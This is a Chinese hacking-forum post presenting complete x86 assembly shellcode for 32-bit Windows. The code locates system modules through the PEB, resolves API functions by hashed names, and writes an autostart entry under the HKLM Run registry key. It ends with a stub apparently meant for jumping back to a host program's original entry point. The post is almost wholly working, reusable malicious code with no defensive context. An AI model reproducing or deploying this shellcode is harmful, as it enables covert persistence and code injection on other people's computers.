看流星社区

 找回密码
 注册账号
查看: 2878|回复: 0

[汇编] 通用WIN32平台的shellcode

[复制链接]

该用户从未签到

发表于 2017-6-3 11:11:04 | 显示全部楼层 |阅读模式

LoadLibraryExA_Digest  equ  0xc0d83287
LoadLibraryA_Digest    equ  0x0C917432
RegCreateKeyA_Digest    equ 0x2B367128
RegSetValueExA_Digest  equ 0xD8C0FEAA
RegCloseKey_Digest equ 0x0E511783
FreeLibrary_Digest    equ  0x30BA7C8C
use32


shellcode_start:
      push ebp    ;// 保存栈帧
      mov ebp, esp
      sub esp,40;//40*3->dword
      ;// 在栈中构造UNICODE字符串 KERNEL32.DLL[K\0E\0 R\0N\0 E\0L\0 3\02\0 .\0D\0 L\0L\0 \0\0\0\0
      push 00000000h    ;//0000
      push 004C004Ch    ;//0L0L
      push 0044002Eh    ;//0D0.
      push 00320033h    ;//0203
      push 004c0045h    ;//0L0E       ;//just push unicode string is ok!
      push 004E0052h    ;//0N0R
      push 0045004Bh    ;//0E0K

      push esp      ;//push kernel32.dll
      call get_module_base      ;//get kernel32 base
      add esp, 7*4       ;//back heapstack
      test eax, eax        ;zf=1 then jmp
      jz ._shellcode_return
             ;// [ebp-4]
      mov dword [ebp-4],eax
      push LoadLibraryA_Digest
      push dword [ebp-4]
      call get_proc_address_by_digest;//get loadlibraryA address
      test eax, eax
      jz ._shellcode_return
     ; push eax;this is loadlibrary func address push stack  [ebp-08]
      mov dword [ebp-8],eax
      push 0h
      push '.DLL'
      push 'pi32'
      push 'ADva'

      push esp
      call dword[ebp-8]        ;// LoadLibraryA
      add esp, 3*4
      test eax, eax
      jz ._shellcode_return
     ; push eax   ;[ebp-0ch]
       mov dword [ebp-0ch],eax


         ;//getfuncaddress


      push RegCreateKeyA_Digest   ;//
       push dword [ebp-0ch]     ;//push module
      call get_proc_address_by_digest   ;//get func address
      test eax, eax           ;//cmp      eax=address
      jz ._shellcode_return          ;//zf=1 then jmp


            mov dword[ebp-10h],eax
      push RegSetValueExA_Digest   ;//
       push dword [ebp-0ch]     ;//push module
      call get_proc_address_by_digest   ;//get func address
      test eax, eax           ;//cmp      eax=address
      jz ._shellcode_return          ;//zf=1 then jmp


          mov dword[ebp-14h],eax
      push RegCloseKey_Digest   ;//
       push dword [ebp-0ch]     ;//push module
      call get_proc_address_by_digest   ;//get func address
      test eax, eax           ;//cmp      eax=address
      jz ._shellcode_return          ;//zf=1 then jmp


           mov dword[ebp-18h],eax
      mov eax,[ebp-10h]
     ; HKEY_LOCAL_MACHINE
       push 'n'
      push 'n\Ru'
      push 'rsio'
      push 'ntVe'
      push 'urre'
      push 'ws\C'
      push 'indo'
      push 'ft\W'
      push 'roso'
      push '\Mic'
      push 'ware'
      push 'Soft'
      mov dword[ebp-1ch],esp
      push 'x'
      mov dword[ebp-20h],esp
         lea ebx,[ebp-24h]
      push ebx
      push dword[ebp-1ch]
      push 80000002h
      call eax
      mov eax,[ebp-14h] ;


      push 1
      push dword [ebp-20h]
      push 1
      push 0
      push dword[ebp-1ch]
     push dword [ebp-24h]




      call eax
      add esp,13*4


;//this is cod
      push FreeLibrary_Digest
      push dword [ebp-4]
      call get_proc_address_by_digest
      test eax, eax
      jz ._shellcode_return

      push dword [ebp-0ch] ;//free user32.dll imagememory
      call eax       ;//call freefunc

._shellcode_return:
      mov esp, ebp
      pop ebp      ;// 恢复栈帧
      ret
      jmp jmp_to_oep





;/************************************************************************/
;/* Get base address of module
;* tishion
;* 2013-05-26 13:45:20
;* IN:
;*    ebp+8 = moudule name null-terminate string [WCHAR]
;*
;* OUT:
;*    eax = ntdll.base
;*    #define _Wcsnicmp_Digest    0x548b2e5f
;/************************************************************************/


get_module_base:
      push ebp
      mov ebp, esp

      call get_ntdll_base
      test eax, eax
      jz ._find_modulebase_done

      push 548b2e5fh        ;// hash of _wcsnicmp
      push eax
      call get_proc_address_by_digest
      test eax, eax        ;// _wcsnicmp
      jz ._find_modulebase_done

      push eax          ;// [ebp-04h]_wcsnicmp

      mov eax, 30h
      mov eax, [fs:eax]      ;// eax = ppeb
      test eax, eax
      jz ._find_modulebase_done

      mov eax, [eax+0ch]      ;// eax = pLdr      pLdr:[PEB_LDR_DATA]  
      test eax, eax
      jz ._find_modulebase_done

      mov esi, [eax+1ch]
      jmp ._compare_moudule_name

  ._find_modulebase_loop:
      mov esi, [esi]        ;// esi = pLdr->InInitializationOrderModuleList
  ._compare_moudule_name:
      test esi, esi
      jz ._find_modulebase_done

      xor edi, edi
      mov di, word [esi+1ch]    ;// length
      push edi
      push dword [esi+20h]    ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
      push dword [ebp+08h]
      mov edi, [ebp-04h]
      call edi
      test eax, eax
      jnz ._find_modulebase_loop

      mov eax, [esi+08h]      ;// eax = pLdrDataTableEntry.DllBase
      ;//mov ecx, [esi+20h]  
  ._find_modulebase_done:
      mov esp, ebp
      pop ebp
      ret 4

;/************************************************************************/
;/* Get base address of ntdll.dll module
;* tishion
;* 2013-05-26 13:45:20
;*
;* OUT:
;*    eax = ntdll.base
;/************************************************************************/
get_ntdll_base:
      mov eax, 30h
      mov eax, [fs:eax]    ;// eax = ppeb
      test eax, eax
      jz ._find_ntdllbase_done

      mov eax, [eax+0ch]    ;// eax = pLdr      pLdr:[PEB_LDR_DATA]  
      test eax, eax
      jz ._find_ntdllbase_done

      mov eax, [eax+1ch]    ;// eax = pLdr->InInitializationOrderModuleList
      test eax, eax
      jz ._find_ntdllbase_done

      mov eax, [eax+08h]    ;// eax = pLdrDataTableEntry.DllBase
  ._find_ntdllbase_done:
      ret

;/************************************************************************/
;/* Get function name digest
;* tishion
;* 2013-05-26 13:45:20
;*
;* IN:
;*    esi = function name
;* OUT:
;*    edx = digest
;/************************************************************************/
get_ansi_string_digest:      
      push eax
      xor edx, edx
    ._next_char:
      xor eax, eax
      lodsb
      test eax, eax
      jz ._done

      ror edx, 7
      add edx, eax
      jmp ._next_char
    ._done:
      pop eax
      ret
;/************************************************************************/
;/* Get function address by searching export table
;* tishion
;* 2013-05-26 13:50:13
;*
;* IN:
;*    [ebp+8]    = module base
;*    [ebp+0ch]  = function name digest
;* OUT:
;*    eax      function address (null if failed)
;/************************************************************************/
get_proc_address_by_digest:
      push ebp
      mov ebp, esp

      mov eax, [ebp+8]
      cmp word [eax], 5a4dh    ;// 'MZ'
      jnz ._return_null
      add eax, [eax+3ch]        ;// eax = ImageNtHeader      IMAGE_NT_HEADERS
      cmp dword [eax], 00004550h  ;// 'PE'
      jnz ._return_null
      push eax        ;// [ebp-04h]

      ;//add eax, 18h      ;// eax = ImageOptionalHeader  IMAGE_OPTIONAL_HEADER
      ;//add eax, 60h      ;// eax = ImageExportDirectoryEntry  IMAGE_DIRECTORY_ENTRY_EXPORT
      ;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
      add eax, 78h

      mov eax, [eax]      ;// eax = RVA IMAGE_EXPORT_DIRECTORY
      add eax, [ebp+08h]    ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
      mov ecx, eax

      mov eax, [ecx+20h]
      add eax, [ebp+08h]    ;// eax = AddressOfNames
      push eax        ;// [ebp-08h]  导出名称地址表

      mov eax, [ecx+24h]
      add eax, [ebp+08h]    ;// eax = AddressOfNameOrdinals
      push eax        ;// [ebp-0ch]  导出序号表

      mov eax, [ecx+1ch]
      add eax, [ebp+08h]    ;// eax = AddressOfFunctions
      push eax        ;// [ebp-10h]  导出RAV地址表

      push dword [ecx+10h]  ;// [ebp-14h]ordinals base         
      push dword [ecx+14h]  ;// [ebp-18h]NumberOfFunctions   
      push dword [ecx+18h]  ;// [ebp-1ch]NumberOfNames

      mov ecx, [ebp-1ch]
      mov ebx, ecx
      mov eax, [ebp-08h]

  ._find_func:
      mov edi, ebx
      sub edi, ecx
      mov esi, [eax+edi*4]
      test esi, esi      ;// esi是否NULL
      loope ._find_func
      inc ecx
      add esi, [ebp+08h]
      call get_ansi_string_digest
      cmp edx, [ebp+0ch]
      loopne ._find_func    ;// ecx 为目标函数在函数名数组中的index

      xor edx, edx
      mov eax, [ebp-0ch]
      mov dx, [eax+edi*2]  

      ;//add edx, [ebp-14h]  ;//Ordinal base 处理, 蛋疼?找微软!
      ;//sub edx, [ebp-14h]
      ;// 以上两条同样是让程序流程清晰,实际运用中,如果不需要输出Ordinal,则不需要进行该操作

      cmp edx, [ebp-18h]
      jae ._return_null

      mov eax, [ebp-10h]    ;// eax = AddressOfFunctions
      mov eax, [eax+edx*4]  ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址
      add eax, [ebp+08h]
      jmp ._function_found_done

  ._return_null:
      xor eax, eax
  ._function_found_done:
      mov esp, ebp
      pop ebp
      ret 8

jmp_to_oep:
      jmp $
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 18:49

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表